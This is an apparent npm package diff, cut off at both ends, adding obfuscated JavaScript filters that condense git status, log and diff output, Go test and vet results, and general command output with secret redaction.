_0x1657a7=Object[_0x33d634(0x15e)](_0x55c342,_0x2c4301);(!_0x1657a7||(_0x33d634(0x181)in _0x1657a7?!_0x55c342[_0x33d634(0x17b)]:_0x1657a7[_0x33d634(0x15d)]||_0x1657a7[_0x33d634(0x177)]))&&(_0x1657a7={'enumerable':!![],'get':function(){return _0x55c342[_0x2c4301];}}),Object[_0x33d634(0x179)](_0x3579c8,_0xe2f10,_0x1657a7);}:function(_0x3a9cf8,_0x203b49,_0x138733,_0x29ff92){if(_0x29ff92===undefined)_0x29ff92=_0x138733;_0x3a9cf8[_0x29ff92]=_0x203b49[_0x138733];}),__setModuleDefault=this&&this[a0_0x51e3d2(0x18b)]||(Object[a0_0x51e3d2(0x18e)]?function(_0x5b6d8b,_0x31a6a9){const _0x17f2cd=a0_0x51e3d2;Object['defineProperty'](_0x5b6d8b,_0x17f2cd(0x16e),{'enumerable':!![],'value':_0x31a6a9});}:function(_0x147a1f,_0x1d7ead){_0x147a1f['default']=_0x1d7ead;}),__importStar=this&&this[a0_0x51e3d2(0x172)]||(function(){var _0x57fa3b=function(_0x1b2c17){const _0x51d849=a0_0x5d02;return _0x57fa3b=Object[_0x51d849(0x165)]||function(_0x35ac3c){const _0x278122=_0x51d849;var _0x3acc88=[];for(var _0x219323 in _0x35ac3c)if(Object[_0x278122(0x191)]['hasOwnProperty'][_0x278122(0x16b)](_0x35ac3c,_0x219323))_0x3acc88[_0x3acc88['length']]=_0x219323;return _0x3acc88;},_0x57fa3b(_0x1b2c17);};return function(_0x32f87a){const _0x5063d9=a0_0x5d02;if(_0x32f87a&&_0x32f87a['__esModule'])return _0x32f87a;var _0x3442a6={};if(_0x32f87a!=null){for(var _0x596939=_0x57fa3b(_0x32f87a),_0x2a0127=0x0;_0x2a0127<_0x596939[_0x5063d9(0x176)];_0x2a0127++)if(_0x596939[_0x2a0127]!==_0x5063d9(0x16e))__createBinding(_0x3442a6,_0x32f87a,_0x596939[_0x2a0127]);}return __setModuleDefault(_0x3442a6,_0x32f87a),_0x3442a6;};}());Object[a0_0x51e3d2(0x179)](exports,a0_0x51e3d2(0x17b),{'value':!![]}),exports[a0_0x51e3d2(0x164)]=filterGitStatus,exports[a0_0x51e3d2(0x18a)]=filterGitLog,exports[a0_0x51e3d2(0x173)]=filterGitDiff;const path=__importStar(require(a0_0x51e3d2(0x175)));function filterGitStatus(_0x7b7736){const _0x424929=a0_0x51e3d2,_0x3cb4fd=_0x7b7736['split']('\x0a')[_0x424929(0x15f)](_0x3ac0f7=>_0x3ac0f7['trim']())[_0x424929(0x163)](_0x58d2d5=>_0x58d2d5[_0x424929(0x176)]>0x0);if(_0x3cb4fd['length']===0x0)return'Clean\x20working\x20tree';const _0x2e33b9=[],_0x53ffd7=[],_0x583fe1=[];for(const _0x207072 of _0x3cb4fd){if(_0x207072['startsWith']('##')){const _0x472327=_0x207072[_0x424929(0x16a)](/^##\s*/,'');_0x2e33b9[_0x424929(0x17a)]('*\x20Branch:\x20'+_0x472327);}else _0x207072[_0x424929(0x169)]('??')?_0x53ffd7[_0x424929(0x17a)](_0x207072[_0x424929(0x188)](0x3)[_0x424929(0x185)]()):_0x583fe1['push'](_0x207072);}_0x583fe1[_0x424929(0x176)]>0x0&&(_0x2e33b9[_0x424929(0x17a)](_0x424929(0x16d)),_0x2e33b9['push'](..._0x583fe1[_0x424929(0x15f)](_0x4ef8dd=>'\x20\x20'+_0x4ef8dd)));if(_0x53ffd7['length']>0x0){_0x2e33b9[_0x424929(0x17a)](_0x424929(0x168));const _0x5523d2={},_0x4d95f7=[];for(const _0x49fb19 of _0x53ffd7){const _0xde84ec=path[_0x424929(0x17c)](_0x49fb19);_0xde84ec==='.'||_0xde84ec===''?_0x4d95f7['push'](_0x49fb19):(!_0x5523d2[_0xde84ec]&&(_0x5523d2[_0xde84ec]=[]),_0x5523d2[_0xde84ec][_0x424929(0x17a)](path[_0x424929(0x190)](_0x49fb19)));}for(const [_0xd6aa83,_0x28035a]of Object[_0x424929(0x160)](_0x5523d2)){if(_0x28035a['length']>0x5)_0x2e33b9[_0x424929(0x17a)](_0x424929(0x18f)+_0xd6aa83+_0x424929(0x182)+_0x28035a['length']+'\x20untracked\x20files)');else for(const _0x5596d1 of _0x28035a){_0x2e33b9[_0x424929(0x17a)](_0x424929(0x18f)+path['join'](_0xd6aa83,_0x5596d1));}}for(const _0x553ab6 of _0x4d95f7){_0x2e33b9[_0x424929(0x17a)]('\x20\x20??\x20'+_0x553ab6);}}return _0x2e33b9[_0x424929(0x161)]('\x0a');}function a0_0x1ddb(){const _0x476b7d=['defineProperty','push','__esModule','dirname','8149071Fkjbub','slice','1769202BicoKu','+++','get','/\x20(','\x20(+','14562036TXwqOW','trim','match','9265584batEwI','substring','split','filterGitLog','__setModuleDefault','[file]\x20','\x20more\x20modifications','create','\x20\x20??\x20','basename','prototype','\x20\x20...\x20+','1xHYtxO','writable','getOwnPropertyDescriptor','map','entries','join','diff\x20--git','filter','filterGitStatus','getOwnPropertyNames','100596IWCnAi','\x20lines\x20of\x20description)','\x0aUntracked\x20files:','startsWith','replace','call','3783485vtCpht','\x0aChanges:','default','1039634jHYjmf','16HecqbP','No\x20modifications','__importStar','filterGitDiff','---','path','length','configurable','__createBinding'];a0_0x1ddb=function(){return _0x476b7d;};return a0_0x1ddb();}function filterGitLog(_0x592c68){const _0x218ea6=a0_0x51e3d2,_0x5ee4a2=_0x592c68['split']('---END---')[_0x218ea6(0x15f)](_0x5eeefa=>_0x5eeefa[_0x218ea6(0x185)]())[_0x218ea6(0x163)](_0x22c96e=>_0x22c96e['length']>0x0);if(_0x5ee4a2[_0x218ea6(0x176)]===0x0)return _0x592c68;const _0x3d99ac=[];for(const _0x32ab46 of _0x5ee4a2){const _0x44e807=_0x32ab46[_0x218ea6(0x189)]('\x0a'),_0x4019fc=_0x44e807[0x0]||'',_0x3f4f4e=_0x44e807[_0x218ea6(0x17e)](0x1)['map'](_0x3b12be=>_0x3b12be[_0x218ea6(0x185)]())[_0x218ea6(0x163)](_0x5738cf=>_0x5738cf[_0x218ea6(0x176)]>0x0);_0x3d99ac['push']('-\x20'+_0x4019fc),_0x3f4f4e[_0x218ea6(0x176)]>0x0&&(_0x3d99ac[_0x218ea6(0x17a)]('\x20\x20'+_0x3f4f4e[0x0]),_0x3f4f4e[_0x218ea6(0x176)]>0x1&&_0x3d99ac[_0x218ea6(0x17a)]('\x20\x20...\x20(+'+(_0x3f4f4e['length']-0x1)+_0x218ea6(0x167)));}return _0x3d99ac[_0x218ea6(0x161)]('\x0a');}function filterGitDiff(_0x5d8f0f){const _0x30cf6d=a0_0x51e3d2,_0x56cfcc=_0x5d8f0f['split']('\x0a'),_0x4cc13e=[];let _0x21e96c='',_0x3a3e97=0x0,_0x242736=0x0,_0x35da86=[];const _0x301b24=()=>{const _0x15f530=a0_0x5d02;if(_0x21e96c&&(_0x3a3e97>0x0||_0x242736>0x0)){_0x4cc13e[_0x15f530(0x17a)](_0x15f530(0x18c)+_0x21e96c+_0x15f530(0x183)+_0x3a3e97+'\x20-'+_0x242736+')');const _0x32c44e=0xa,_0x381c4e=_0x35da86[_0x15f530(0x17e)](0x0,_0x32c44e);for(const _0x59c5d2 of _0x381c4e){_0x4cc13e[_0x15f530(0x17a)]('\x20\x20'+_0x59c5d2);}const _0x310781=_0x3a3e97+_0x242736-_0x32c44e;_0x310781>0x0&&_0x4cc13e[_0x15f530(0x17a)](_0x15f530(0x15b)+_0x310781+_0x15f530(0x18d));}_0x3a3e97=0x0,_0x242736=0x0,_0x35da86=[];};for(const _0x41f437 of _0x56cfcc){if(_0x41f437[_0x30cf6d(0x169)](_0x30cf6d(0x162))){_0x301b24();const _0x3ec745=_0x41f437[_0x30cf6d(0x186)](/\sb\/(.+)$/);_0x21e96c=_0x3ec745?_0x3ec745[0x1]:'unknown_file';}else{if(_0x41f437[_0x30cf6d(0x169)]('+')&&!_0x41f437[_0x30cf6d(0x169)](_0x30cf6d(0x180)))_0x3a3e97++,_0x35da86['push'](_0x41f437);else _0x41f437[_0x30cf6d(0x169)]('-')&&!_0x41f437[_0x30cf6d(0x169)](_0x30cf6d(0x174))&&(_0x242736++,_0x35da86['push'](_0x41f437));}}_0x301b24();const _0x37c9c3=_0x4cc13e['join']('\x0a');return _0x37c9c3[_0x30cf6d(0x176)]>0x0?_0x37c9c3:_0x30cf6d(0x171);}
1
+ 'use strict';const a0_0x59937d=a0_0x3219;function a0_0x2e17(){const _0x38068d=['defineProperty','8076488fgZzNG','split','match','__importStar','1044378KIXHOj','slice','2768DAOcBu','__esModule','*\x20Branch:\x20','No\x20modifications','entries','833675mkpqBI','map','\x20untracked\x20files)','replace','diff\x20--git','\x0aChanges:','---','filter','\x20\x20??\x20','startsWith','1810932NDHrji','get','path','push','unknown_file','getOwnPropertyDescriptor','Clean\x20working\x20tree','[file]\x20','length','2177112nESFrr','hasOwnProperty','\x20\x20...\x20(+','create','prototype','__createBinding','1773WKGrkY','join','filterGitLog','__setModuleDefault','\x0aUntracked\x20files:','basename','configurable','call','getOwnPropertyNames','default','177934VAJDqi','trim'];a0_0x2e17=function(){return _0x38068d;};return a0_0x2e17();}(function(_0x42dc05,_0x1b2ca7){const _0x20e92a=a0_0x3219,_0x22c16e=_0x42dc05();while(!![]){try{const _0x2add5c=parseInt(_0x20e92a(0x17d))/0x1+-parseInt(_0x20e92a(0x184))/0x2+parseInt(_0x20e92a(0x1a4))/0x3*(parseInt(_0x20e92a(0x186))/0x4)+-parseInt(_0x20e92a(0x18b))/0x5+-parseInt(_0x20e92a(0x195))/0x6+-parseInt(_0x20e92a(0x19e))/0x7+parseInt(_0x20e92a(0x180))/0x8;if(_0x2add5c===_0x1b2ca7)break;else _0x22c16e['push'](_0x22c16e['shift']());}catch(_0x328ef9){_0x22c16e['push'](_0x22c16e['shift']());}}}(a0_0x2e17,0x47f31));function a0_0x3219(_0x49da2f,_0x2cae01){const _0x2e1703=a0_0x2e17();return a0_0x3219=function(_0x3219b8,_0x286634){_0x3219b8=_0x3219b8-0x175;let _0x47452a=_0x2e1703[_0x3219b8];return _0x47452a;},a0_0x3219(_0x49da2f,_0x2cae01);}var __createBinding=this&&this[a0_0x59937d(0x1a3)]||(Object[a0_0x59937d(0x1a1)]?function(_0x1fc1f6,_0x4fb5ce,_0x567964,_0x140b56){const _0x1edcf8=a0_0x59937d;if(_0x140b56===undefined)_0x140b56=_0x567964;var _0x5ef28c=Object[_0x1edcf8(0x19a)](_0x4fb5ce,_0x567964);(!_0x5ef28c||(_0x1edcf8(0x196)in _0x5ef28c?!_0x4fb5ce[_0x1edcf8(0x187)]:_0x5ef28c['writable']||_0x5ef28c[_0x1edcf8(0x179)]))&&(_0x5ef28c={'enumerable':!![],'get':function(){return _0x4fb5ce[_0x567964];}}),Object[_0x1edcf8(0x17f)](_0x1fc1f6,_0x140b56,_0x5ef28c);}:function(_0x3dc04e,_0x309d20,_0x492adf,_0x4e8089){if(_0x4e8089===undefined)_0x4e8089=_0x492adf;_0x3dc04e[_0x4e8089]=_0x309d20[_0x492adf];}),__setModuleDefault=this&&this[a0_0x59937d(0x176)]||(Object[a0_0x59937d(0x1a1)]?function(_0x1e684d,_0x2b1971){const _0xf6af4f=a0_0x59937d;Object[_0xf6af4f(0x17f)](_0x1e684d,_0xf6af4f(0x17c),{'enumerable':!![],'value':_0x2b1971});}:function(_0x5aae3f,_0x5431d7){const _0x41a455=a0_0x59937d;_0x5aae3f[_0x41a455(0x17c)]=_0x5431d7;}),__importStar=this&&this[a0_0x59937d(0x183)]||(function(){var _0x52d536=function(_0x281daa){const _0xe6aa9f=a0_0x3219;return _0x52d536=Object[_0xe6aa9f(0x17b)]||function(_0x2545e1){const _0x5872e5=_0xe6aa9f;var _0x2693f1=[];for(var _0x56008a in _0x2545e1)if(Object[_0x5872e5(0x1a2)][_0x5872e5(0x19f)][_0x5872e5(0x17a)](_0x2545e1,_0x56008a))_0x2693f1[_0x2693f1['length']]=_0x56008a;return _0x2693f1;},_0x52d536(_0x281daa);};return function(_0x703957){const _0x99fb03=a0_0x3219;if(_0x703957&&_0x703957[_0x99fb03(0x187)])return _0x703957;var _0x17d025={};if(_0x703957!=null){for(var _0x563dcb=_0x52d536(_0x703957),_0x5968d=0x0;_0x5968d<_0x563dcb[_0x99fb03(0x19d)];_0x5968d++)if(_0x563dcb[_0x5968d]!==_0x99fb03(0x17c))__createBinding(_0x17d025,_0x703957,_0x563dcb[_0x5968d]);}return __setModuleDefault(_0x17d025,_0x703957),_0x17d025;};}());Object[a0_0x59937d(0x17f)](exports,a0_0x59937d(0x187),{'value':!![]}),exports['filterGitStatus']=filterGitStatus,exports[a0_0x59937d(0x175)]=filterGitLog,exports['filterGitDiff']=filterGitDiff;const path=__importStar(require(a0_0x59937d(0x197)));function filterGitStatus(_0x577195){const _0x1f5f32=a0_0x59937d,_0x9306db=_0x577195[_0x1f5f32(0x181)]('\x0a')[_0x1f5f32(0x18c)](_0x57e4d1=>_0x57e4d1[_0x1f5f32(0x17e)]())[_0x1f5f32(0x192)](_0x303c37=>_0x303c37[_0x1f5f32(0x19d)]>0x0);if(_0x9306db['length']===0x0)return _0x1f5f32(0x19b);const _0x5d22d4=[],_0x3dad5e=[],_0x328bca=[];for(const _0x39ab04 of _0x9306db){if(_0x39ab04[_0x1f5f32(0x194)]('##')){const _0x163754=_0x39ab04[_0x1f5f32(0x18e)](/^##\s*/,'');_0x5d22d4[_0x1f5f32(0x198)](_0x1f5f32(0x188)+_0x163754);}else _0x39ab04[_0x1f5f32(0x194)]('??')?_0x3dad5e[_0x1f5f32(0x198)](_0x39ab04['substring'](0x3)['trim']()):_0x328bca[_0x1f5f32(0x198)](_0x39ab04);}_0x328bca['length']>0x0&&(_0x5d22d4['push'](_0x1f5f32(0x190)),_0x5d22d4['push'](..._0x328bca[_0x1f5f32(0x18c)](_0x17dddb=>'\x20\x20'+_0x17dddb)));if(_0x3dad5e['length']>0x0){_0x5d22d4[_0x1f5f32(0x198)](_0x1f5f32(0x177));const _0x4b4dd5={},_0x583920=[];for(const _0x1a796a of _0x3dad5e){const _0xbb16ad=path['dirname'](_0x1a796a);_0xbb16ad==='.'||_0xbb16ad===''?_0x583920['push'](_0x1a796a):(!_0x4b4dd5[_0xbb16ad]&&(_0x4b4dd5[_0xbb16ad]=[]),_0x4b4dd5[_0xbb16ad]['push'](path[_0x1f5f32(0x178)](_0x1a796a)));}for(const [_0x33cb0a,_0x25b7a7]of Object[_0x1f5f32(0x18a)](_0x4b4dd5)){if(_0x25b7a7[_0x1f5f32(0x19d)]>0x5)_0x5d22d4['push'](_0x1f5f32(0x193)+_0x33cb0a+'/\x20('+_0x25b7a7['length']+_0x1f5f32(0x18d));else for(const _0x568748 of _0x25b7a7){_0x5d22d4[_0x1f5f32(0x198)](_0x1f5f32(0x193)+path[_0x1f5f32(0x1a5)](_0x33cb0a,_0x568748));}}for(const _0xd8297b of _0x583920){_0x5d22d4[_0x1f5f32(0x198)](_0x1f5f32(0x193)+_0xd8297b);}}return _0x5d22d4['join']('\x0a');}function filterGitLog(_0x356565){const _0x312343=a0_0x59937d,_0x500d8b=_0x356565[_0x312343(0x181)]('---END---')[_0x312343(0x18c)](_0x17f5bd=>_0x17f5bd[_0x312343(0x17e)]())[_0x312343(0x192)](_0x255608=>_0x255608[_0x312343(0x19d)]>0x0);if(_0x500d8b['length']===0x0)return _0x356565;const _0x3ad457=[];for(const _0xe75a90 of _0x500d8b){const _0x2c1299=_0xe75a90['split']('\x0a'),_0x4da6a1=_0x2c1299[0x0]||'',_0x45d5d9=_0x2c1299['slice'](0x1)[_0x312343(0x18c)](_0x3e5b4f=>_0x3e5b4f[_0x312343(0x17e)]())[_0x312343(0x192)](_0x3cc709=>_0x3cc709[_0x312343(0x19d)]>0x0);_0x3ad457[_0x312343(0x198)]('-\x20'+_0x4da6a1),_0x45d5d9[_0x312343(0x19d)]>0x0&&(_0x3ad457[_0x312343(0x198)]('\x20\x20'+_0x45d5d9[0x0]),_0x45d5d9['length']>0x1&&_0x3ad457[_0x312343(0x198)](_0x312343(0x1a0)+(_0x45d5d9[_0x312343(0x19d)]-0x1)+'\x20lines\x20of\x20description)'));}return _0x3ad457[_0x312343(0x1a5)]('\x0a');}function filterGitDiff(_0x1c78ee){const _0x426eb2=a0_0x59937d,_0xaa157a=_0x1c78ee[_0x426eb2(0x181)]('\x0a'),_0x2d5a=[];let _0x23dfa2='',_0x5f1e90=0x0,_0x96aa21=0x0,_0x239dc1=[];const _0x38b250=()=>{const _0x429298=_0x426eb2;if(_0x23dfa2&&(_0x5f1e90>0x0||_0x96aa21>0x0)){_0x2d5a[_0x429298(0x198)](_0x429298(0x19c)+_0x23dfa2+'\x20(+'+_0x5f1e90+'\x20-'+_0x96aa21+')');const _0x575c7e=0xa,_0x21632f=_0x239dc1[_0x429298(0x185)](0x0,_0x575c7e);for(const _0x4b10cd of _0x21632f){_0x2d5a['push']('\x20\x20'+_0x4b10cd);}const _0x19ec0c=_0x5f1e90+_0x96aa21-_0x575c7e;_0x19ec0c>0x0&&_0x2d5a[_0x429298(0x198)]('\x20\x20...\x20+'+_0x19ec0c+'\x20more\x20modifications');}_0x5f1e90=0x0,_0x96aa21=0x0,_0x239dc1=[];};for(const _0x578484 of _0xaa157a){if(_0x578484[_0x426eb2(0x194)](_0x426eb2(0x18f))){_0x38b250();const _0x5e0a26=_0x578484[_0x426eb2(0x182)](/\sb\/(.+)$/);_0x23dfa2=_0x5e0a26?_0x5e0a26[0x1]:_0x426eb2(0x199);}else{if(_0x578484[_0x426eb2(0x194)]('+')&&!_0x578484['startsWith']('+++'))_0x5f1e90++,_0x239dc1['push'](_0x578484);else _0x578484[_0x426eb2(0x194)]('-')&&!_0x578484[_0x426eb2(0x194)](_0x426eb2(0x191))&&(_0x96aa21++,_0x239dc1[_0x426eb2(0x198)](_0x578484));}}_0x38b250();const _0x511857=_0x2d5a['join']('\x0a');return _0x511857['length']>0x0?_0x511857:_0x426eb2(0x189);}
package/filters/go.js ADDED
@@ -0,0 +1 @@
1
+ 'use strict';const a0_0x1dcdff=a0_0xde7e;function a0_0xde7e(_0x29554c,_0x2f4fd2){const _0x150de8=a0_0x150d();return a0_0xde7e=function(_0xde7ea,_0xc5b37c){_0xde7ea=_0xde7ea-0x152;let _0x29c889=_0x150de8[_0xde7ea];return _0x29c889;},a0_0xde7e(_0x29554c,_0x2f4fd2);}(function(_0x2a170f,_0x4de6f3){const _0x2d8026=a0_0xde7e,_0x488b6f=_0x2a170f();while(!![]){try{const _0xc13807=-parseInt(_0x2d8026(0x152))/0x1*(-parseInt(_0x2d8026(0x15c))/0x2)+parseInt(_0x2d8026(0x16b))/0x3*(parseInt(_0x2d8026(0x15e))/0x4)+-parseInt(_0x2d8026(0x16f))/0x5+parseInt(_0x2d8026(0x161))/0x6*(parseInt(_0x2d8026(0x158))/0x7)+parseInt(_0x2d8026(0x15a))/0x8*(parseInt(_0x2d8026(0x166))/0x9)+parseInt(_0x2d8026(0x157))/0xa*(-parseInt(_0x2d8026(0x176))/0xb)+-parseInt(_0x2d8026(0x165))/0xc*(-parseInt(_0x2d8026(0x16c))/0xd);if(_0xc13807===_0x4de6f3)break;else _0x488b6f['push'](_0x488b6f['shift']());}catch(_0x19be0b){_0x488b6f['push'](_0x488b6f['shift']());}}}(a0_0x150d,0x39f0b));function a0_0x150d(){const _0x24fcdc=['includes','3693DJKuJi','13IxUnhQ','\x20more\x20issues','trim','2219310iHKbwT','\x20failed,\x20','Go\x20test:\x20no\x20test\x20files','\x20more\x20failures','---\x20SKIP:','__esModule','\x20\x20...\x20+','1155044uHLgHu','slice','defineProperty','Go\x20vet:\x20no\x20issues\x20found','join','lines','...\x20+','split','Go\x20test:\x20all\x20tests\x20passed','\x20\x20\x20\x20...\x20+','2ybihGB','\x20issues\x20found','\x20\x20\x20\x20','\x0aFailures:','Go\x20vet:\x20','40GsjICC','7yBlWXl','length','28984eGSpdc','filter','181054AQuGXu','===\x20RUN','56xHEhJS','\x20skipped','push','2261634TjJnOd','filterGoTest','min','filterGoVet','5572596mFBvQh','153yMiMST','Go\x20test:\x20','match','startsWith'];a0_0x150d=function(){return _0x24fcdc;};return a0_0x150d();}Object[a0_0x1dcdff(0x178)](exports,a0_0x1dcdff(0x174),{'value':!![]}),exports[a0_0x1dcdff(0x162)]=filterGoTest,exports[a0_0x1dcdff(0x164)]=filterGoVet;function filterGoTest(_0x109b3e){const _0x38de09=a0_0x1dcdff,_0x835454=_0x109b3e['split']('\x0a');let _0x5062fa=0x0,_0x4beb31=0x0,_0x488cfb=0x0;const _0x1226c5=[],_0x3409a4=[];let _0x389de7=null;for(const _0x49d1c2 of _0x835454){const _0x162b3f=_0x49d1c2['trim'](),_0x5d7ac1=_0x162b3f[_0x38de09(0x168)](/^ok\s+\S+\s+[\d.]+s/);if(_0x5d7ac1){_0x3409a4[_0x38de09(0x160)](_0x162b3f);continue;}const _0x1e81c3=_0x162b3f[_0x38de09(0x168)](/^FAIL\s+\S+/);if(_0x1e81c3){_0x3409a4[_0x38de09(0x160)](_0x162b3f);continue;}const _0x38f936=_0x162b3f[_0x38de09(0x168)](/^--- PASS:/);if(_0x38f936){_0x5062fa++;continue;}const _0x42be2d=_0x162b3f[_0x38de09(0x168)](/^--- FAIL:\s+(\S+)/);if(_0x42be2d){if(_0x389de7)_0x1226c5[_0x38de09(0x160)](_0x389de7);_0x389de7={'name':_0x42be2d[0x1],'lines':[]},_0x4beb31++;continue;}if(_0x162b3f[_0x38de09(0x169)](_0x38de09(0x173))){_0x488cfb++;continue;}_0x389de7&&_0x162b3f[_0x38de09(0x159)]>0x0&&!_0x162b3f[_0x38de09(0x169)](_0x38de09(0x15d))&&_0x389de7[_0x38de09(0x17b)][_0x38de09(0x160)](_0x49d1c2),_0x162b3f['startsWith'](_0x38de09(0x15d))&&(_0x389de7&&(_0x1226c5[_0x38de09(0x160)](_0x389de7),_0x389de7=null));}if(_0x389de7)_0x1226c5[_0x38de09(0x160)](_0x389de7);if(_0x5062fa===0x0&&_0x4beb31===0x0&&_0x488cfb===0x0){if(_0x109b3e[_0x38de09(0x16a)]('PASS')&&!_0x109b3e[_0x38de09(0x16a)]('FAIL'))return _0x38de09(0x17e);if(_0x109b3e[_0x38de09(0x16a)]('no\x20test\x20files'))return _0x38de09(0x171);return _0x109b3e;}if(_0x4beb31===0x0){const _0x22b0f7=[_0x38de09(0x167)+_0x5062fa+'\x20passed'];if(_0x488cfb>0x0)_0x22b0f7['push'](_0x488cfb+'\x20skipped');return _0x22b0f7[_0x38de09(0x17a)](',\x20');}const _0x4f464d=[_0x38de09(0x167)+_0x5062fa+'\x20passed,\x20'+_0x4beb31+_0x38de09(0x170)+_0x488cfb+_0x38de09(0x15f)];if(_0x1226c5[_0x38de09(0x159)]>0x0){_0x4f464d[_0x38de09(0x160)](_0x38de09(0x155));const _0x10584b=0x3;for(let _0x510049=0x0;_0x510049<Math[_0x38de09(0x163)](_0x1226c5[_0x38de09(0x159)],_0x10584b);_0x510049++){const _0x57b41a=_0x1226c5[_0x510049];_0x4f464d[_0x38de09(0x160)]('\x20\x20'+(_0x510049+0x1)+'.\x20'+_0x57b41a['name']);for(const _0xfd882a of _0x57b41a[_0x38de09(0x17b)][_0x38de09(0x177)](0x0,0x5)){_0x4f464d[_0x38de09(0x160)](_0x38de09(0x154)+_0xfd882a[_0x38de09(0x16e)]());}_0x57b41a[_0x38de09(0x17b)][_0x38de09(0x159)]>0x5&&_0x4f464d[_0x38de09(0x160)](_0x38de09(0x17f)+(_0x57b41a[_0x38de09(0x17b)][_0x38de09(0x159)]-0x5)+'\x20more\x20lines');}_0x1226c5[_0x38de09(0x159)]>_0x10584b&&_0x4f464d[_0x38de09(0x160)](_0x38de09(0x175)+(_0x1226c5[_0x38de09(0x159)]-_0x10584b)+_0x38de09(0x172));}return _0x4f464d[_0x38de09(0x17a)]('\x0a');}function filterGoVet(_0x140db9){const _0x4331ee=a0_0x1dcdff,_0x2dd94e=_0x140db9[_0x4331ee(0x17d)]('\x0a')[_0x4331ee(0x15b)](_0x281897=>_0x281897[_0x4331ee(0x16e)]()[_0x4331ee(0x159)]>0x0);if(_0x2dd94e[_0x4331ee(0x159)]===0x0)return _0x4331ee(0x179);if(_0x2dd94e[_0x4331ee(0x159)]<=0x14)return _0x140db9[_0x4331ee(0x16e)]();const _0x477899=[_0x4331ee(0x156)+_0x2dd94e[_0x4331ee(0x159)]+_0x4331ee(0x153)];return _0x477899['push'](..._0x2dd94e[_0x4331ee(0x177)](0x0,0xa)),_0x2dd94e[_0x4331ee(0x159)]>0xa&&_0x477899[_0x4331ee(0x160)](_0x4331ee(0x17c)+(_0x2dd94e['length']-0xa)+_0x4331ee(0x16d)),_0x477899['join']('\x0a');}
package/filters/index.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x1603(_0x1361be,_0x4ca2ad){_0x1361be=_0x1361be-0x1d6;const _0x2355cf=a0_0x2355();let _0x1603c3=_0x2355cf[_0x1361be];return _0x1603c3;}const a0_0x474766=a0_0x1603;(function(_0xb015ab,_0x1726dd){const _0x248562=a0_0x1603,_0x584aa8=_0xb015ab();while(!![]){try{const _0x283588=-parseInt(_0x248562(0x1f8))/0x1+-parseInt(_0x248562(0x1fc))/0x2*(parseInt(_0x248562(0x1ec))/0x3)+-parseInt(_0x248562(0x20c))/0x4+parseInt(_0x248562(0x1d6))/0x5+parseInt(_0x248562(0x1fe))/0x6+parseInt(_0x248562(0x1db))/0x7*(parseInt(_0x248562(0x1df))/0x8)+parseInt(_0x248562(0x1e0))/0x9;if(_0x283588===_0x1726dd)break;else _0x584aa8['push'](_0x584aa8['shift']());}catch(_0x223495){_0x584aa8['push'](_0x584aa8['shift']());}}}(a0_0x2355,0x572c2));Object['defineProperty'](exports,a0_0x474766(0x1d9),{'value':!![]}),exports[a0_0x474766(0x1dd)]=compressOutput,exports['rewriteCommand']=rewriteCommand;function a0_0x2355(){const _0x30e40b=['filterPytest','trim\x20go','jest','trim\x20pnpm','softTruncate','trim\x20ls','./generic','yadm\x20diff','endsWith','yadm\x20log','trim\x20','trim\x20docker','2669988AKhaSh','pip3\x20install','3011870swNwuK','pip\x20install','trim','__esModule','redactor','42749UfKdGl','git\x20log','compressOutput','../redactor','56qxMQCv','4232052QldWsW','trim\x20pytest','trim\x20grep','trim\x20find','collapseDuplicates','trim\x20kubectl','trim\x20npx','length','filterJestVitest','trim\x20git','git\x20show','includes','471SstfYQ','trim\x20read','trim\x20npm','npm\x20i\x20','pytest','filterGitStatus','test','filterGitLog','trim\x20gh','trim\x20glab','toLowerCase','yadm\x20status','4776kVdrpj','./git','filterNpmInstall','./python','5882EYbigV','filterGitDiff','2254302gWcXjS','git\x20diff'];a0_0x2355=function(){return _0x30e40b;};return a0_0x2355();}const generic_1=require(a0_0x474766(0x206)),git_1=require(a0_0x474766(0x1f9)),python_1=require(a0_0x474766(0x1fb)),js_1=require('./js'),redactor_1=require(a0_0x474766(0x1de));function compressOutput(_0x11a352,_0x1a60b6,_0x5e4f20,_0x396232=!![]){const _0xe20fbf=a0_0x474766,_0x82096c=_0x11a352['trim']();let _0x252d2e=_0x1a60b6;_0x5e4f20['trim']()[_0xe20fbf(0x1e7)]>0x0&&(_0x252d2e=_0x1a60b6+'\x0a'+_0x5e4f20);let _0x33f151=(0x0,generic_1['stripAnsi'])(_0x252d2e);_0x396232&&(_0x33f151=redactor_1[_0xe20fbf(0x1da)]['redact'](_0x33f151));const _0x52b24d=_0x82096c[_0xe20fbf(0x1f6)]();try{if(_0x52b24d[_0xe20fbf(0x1eb)]('git\x20status')||_0x52b24d['includes'](_0xe20fbf(0x1f7)))return(0x0,git_1[_0xe20fbf(0x1f1)])(_0x33f151);if(_0x52b24d[_0xe20fbf(0x1eb)](_0xe20fbf(0x1dc))||_0x52b24d['includes'](_0xe20fbf(0x209)))return(0x0,git_1[_0xe20fbf(0x1f3)])(_0x33f151);if(_0x52b24d[_0xe20fbf(0x1eb)](_0xe20fbf(0x1ff))||_0x52b24d[_0xe20fbf(0x1eb)](_0xe20fbf(0x1ea))||_0x52b24d[_0xe20fbf(0x1eb)](_0xe20fbf(0x207)))return(0x0,git_1[_0xe20fbf(0x1fd)])(_0x33f151);if(_0x52b24d['includes'](_0xe20fbf(0x1f0)))return(0x0,python_1[_0xe20fbf(0x200)])(_0x33f151);if(_0x52b24d[_0xe20fbf(0x1eb)]('npm\x20install')||_0x52b24d[_0xe20fbf(0x1eb)](_0xe20fbf(0x1ef))||_0x52b24d[_0xe20fbf(0x208)]('npm\x20i')||_0x52b24d[_0xe20fbf(0x1eb)]('pnpm\x20install')||_0x52b24d[_0xe20fbf(0x1eb)]('yarn\x20install'))return(0x0,js_1[_0xe20fbf(0x1fa)])(_0x33f151);if(_0x52b24d[_0xe20fbf(0x1eb)](_0xe20fbf(0x1d7))||_0x52b24d[_0xe20fbf(0x1eb)](_0xe20fbf(0x20d)))return(0x0,python_1['filterPipInstall'])(_0x33f151);if(_0x52b24d[_0xe20fbf(0x1eb)](_0xe20fbf(0x202))||_0x52b24d[_0xe20fbf(0x1eb)]('vitest'))return(0x0,js_1[_0xe20fbf(0x1e8)])(_0x33f151);}catch(_0x18c328){}return _0x33f151=(0x0,generic_1[_0xe20fbf(0x1e4)])(_0x33f151),_0x33f151=(0x0,generic_1[_0xe20fbf(0x204)])(_0x33f151,0x4e20),_0x33f151;}const 